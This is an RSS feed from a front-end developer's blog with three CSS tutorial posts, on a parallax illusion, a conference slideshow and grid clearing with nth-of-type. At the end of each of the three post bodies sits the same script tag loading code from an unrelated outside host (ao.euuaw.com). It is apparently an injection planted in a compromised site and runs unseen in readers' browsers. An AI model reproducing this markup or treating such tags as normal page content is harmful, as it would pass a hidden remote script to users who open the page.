<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Maban &#187; css</title>
	<atom:link href="http://maban.co.uk/tag/css/feed" rel="self" type="application/rss+xml" />
	<link>http://maban.co.uk</link>
	<description>Anna Debenham - Front End Developer</description>
	<lastBuildDate>Tue, 20 Jul 2010 20:58:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Parallax Illusion</title>
		<link></link>
		<comments>http://maban.co.uk/507#comments</comments>
		<pubDate>Mon, 12 Apr 2010 11:38:54 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[sandbox]]></category>
		<category><![CDATA[scanimation]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=507</guid>
		<description><![CDATA[
On Saturday, inspired by Paul Annett&#8217;s Channel 4 logo, I decided to build a parallax illusion in the browser.
Here&#8217;s the end result: http://maban.co.uk/sandbox/parallax-illusion/

How it works
To build this you only need 2 images. One is the stripes (mine is a 14&#215;8 gif where 6px are transparent, and 8 are black) and the main image which is [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-509" title="Parallax Illusion image" src="http://maban.co.uk/wp-content/uploads/2010/04/IMG_1001-300x225.jpg" alt="" width="240" height="180" /></p>
<p>On Saturday, inspired by <a href="http://nicepaul.com/">Paul Annett&#8217;s</a> <a href="http://4.nicepaul.com/">Channel 4 logo</a>, I decided to build a parallax illusion in the browser.</p>
<p>Here&#8217;s the end result: <a href="http://maban.co.uk/sandbox/parallax-illusion/">http://maban.co.uk/sandbox/parallax-illusion/</a></p>
<p><span id="more-507"></span></p>
<h3>How it works</h3>
<p>To build this you only need 2 images. One is the stripes (mine is a 14&#215;8 gif where 6px are transparent, and 8 are black) and the main image which is actually 2 images in 1 layered on top of each other.</p>
<p>The main image is a bird in 2 states &#8211; 1 with its wings up, 1 down. You can have more states, but I wanted to keep this very simple.</p>
<p>The stripes are a transparent, repeating background which appear over the image.</p>
<p>The stripes of the image that are visible need to be the same width as the gap between the stripes that go on top of it. So that the wings on the down state aren&#8217;t visible while it&#8217;s on the up state, you&#8217;ll need to position the blank stripes slightly differently on the down state, in this case 6px to the right of the ones on the up state. Then simply layer the two images on top of each other and save them as one image.</p>
<h4>The HTML:</h4>
<p><code>&lt;div class="image"&gt;<br />
&lt;div class="strips"&gt;&lt;/div&gt;<br />
&lt;/div&gt;</code></p>
<h4>The CSS:</h4>
<p><code>.strips {<br />
background-image:url("strips.gif");<br />
background-repeat:repeat;<br />
background-position:center center;<br />
height:100%;<br />
width:100%;<br />
}<br />
.image {<br />
background-image:url("background.gif");<br />
position:fixed;<br />
background-repeat:repeat-x;<br />
height:100%;<br />
width:100%;<br />
}</code></p>
<p>All this does is position the stripes over the image, and make both images the full height and width of the screen since there&#8217;s no content in them. The image stays in the same place while the stripes move with the width of the window because they are centred.</p>
<h3>More parallax illusions</h3>
<p>Paul Annett sent me a couple of links to parallax illusions he&#8217;d seen that other people have made: <a href="http://demo.marcofolio.net/a_parallax_illusion_with_css/">one of a horse running</a>, and <a href="http://demo.marcofolio.net/your_own_css_parallax_illusion/">one of a 3D object</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/507/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>CSS Nuggets</title>
		<link></link>
		<comments>http://maban.co.uk/308#comments</comments>
		<pubDate>Mon, 26 Oct 2009 11:23:28 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[barcamp]]></category>
		<category><![CDATA[bcl7]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[slideshow]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=308</guid>
		<description><![CDATA[At Barcamp London 7, I gave a presentation on some CSS tricks I learnt while building Scrunchup.  Here it is:
CSS Nuggets
View more presentations from Anna Debenham.

I&#8217;m planning on doing a full write-up for an upcoming issue of Scrunchup.
]]></description>
			<content:encoded><![CDATA[<p>At Barcamp London 7, I gave a presentation on some CSS tricks I learnt while building Scrunchup. <span id="more-308"></span> Here it is:</p>
<div style="width:425px;text-align:left" id="__ss_2347968"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/maban/css-nuggets" title="CSS Nuggets">CSS Nuggets</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bcl7-091026061858-phpapp01&#038;stripped_title=css-nuggets" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=bcl7-091026061858-phpapp01&#038;stripped_title=css-nuggets" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">presentations</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/maban">Anna Debenham</a>.</div>
</div>
<p>I&#8217;m planning on doing a full write-up for an upcoming issue of Scrunchup.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/308/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Using nth-of-type to create grid blocks that clear</title>
		<link></link>
		<comments>http://maban.co.uk/269#comments</comments>
		<pubDate>Mon, 24 Aug 2009 21:40:12 +0000</pubDate>
		<dc:creator>Anna Debenham</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[css]]></category>

		<guid isPermaLink="false">http://maban.co.uk/?p=269</guid>
		<description><![CDATA[Problem: You want to create a grid based layout with floats, but you don&#8217;t want to wrap things in extraneous divs to force blocks to clear properly.
In an ideal world, all the content is the same height, and blocks will float and clear properly.  But this is not an ideal world.


So below is what happens [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Problem: You want to create a grid based layout with floats, but you don&#8217;t want to wrap things in extraneous divs to force blocks to clear properly.</p>
<p style="text-align: left;">In an ideal world, all the content is the same height, and blocks will float and clear properly.  But this is not an ideal world.</p>
<p style="text-align: center;"><span id="more-269"></span></p>
<p style="text-align: center;"><img class="size-full wp-image-265 aligncenter" title="grids-1" src="http://maban.co.uk/wp-content/uploads/2009/08/grids-1.gif" alt="grids-1" width="300" height="300" /></p>
<p style="text-align: left;">So below is what happens if the content in some blocks is longer than others.  Yeugh.</p>
<p style="text-align: left;">We could specify the height, but this is a really bad idea.  You can&#8217;t guarantee that the content in the blocks will always be the same height, and you&#8217;ll get ugly overlaps if you&#8217;re wrong.</p>
<p style="text-align: center;"><img class="size-full wp-image-266 aligncenter" title="grids-2" src="http://maban.co.uk/wp-content/uploads/2009/08/grids-2.gif" alt="grids-2" width="300" height="300" /></p>
<p style="text-align: left;">One way of achieving this is by wrapping a div round the first three blocks which clears the content above.</p>
<p style="text-align: center;"><img class="size-full wp-image-267 aligncenter" title="grids-3" src="http://maban.co.uk/wp-content/uploads/2009/08/grids-3.gif" alt="grids-3" width="300" height="300" /></p>
<p style="text-align: left;">But this means adding extraneous divs to your markup.</p>
<p>If we know how many blocks are going to be in each row, we can tell which ones to clear using the nth-of-type selector.</p>
<p>So this clears the 4th, 7th and 10th block</p>
<p><code>.block:nth-of-type(4),<br />
.block:nth-of-type(7),<br />
.block:nth-of-type(10) {<br />
clear: both;<br />
}<br />
</code></p>
<p>And this adds margins onto every first and second block in a row.  (You can probably think of a more streamlined way of doing this if you&#8217;re better at maths than me!)<br />
<code><br />
.block:nth-of-type(1),<br />
.block:nth-of-type(2),<br />
.block:nth-of-type(4),<br />
.block:nth-of-type(5),<br />
.block:nth-of-type(7),<br />
.block:nth-of-type(8),<br />
.block:nth-of-type(10),<br />
.block:nth-of-type(11) {<br />
margin-right:40px;<br />
}</code></p>
<p style="text-align: center;"><img class="size-full wp-image-268 aligncenter" title="grids-4" src="http://maban.co.uk/wp-content/uploads/2009/08/grids-4.gif" alt="grids-4" width="300" height="300" /></p>
<h3>Browser Compatibility:</h3>
<p>Unfortunately, <a href="http://www.quirksmode.org/css/contents.html">not many browsers currently support this</a>.  Firefox 3.1+, Safari 4.0, Chrome, Konqueror, and Opera (albeit incorrectly).  But if you&#8217;ve got a high proportion of users on these browsers, you can have a go at implementing this and get it to degrade quite nicely.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://maban.co.uk/269/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>
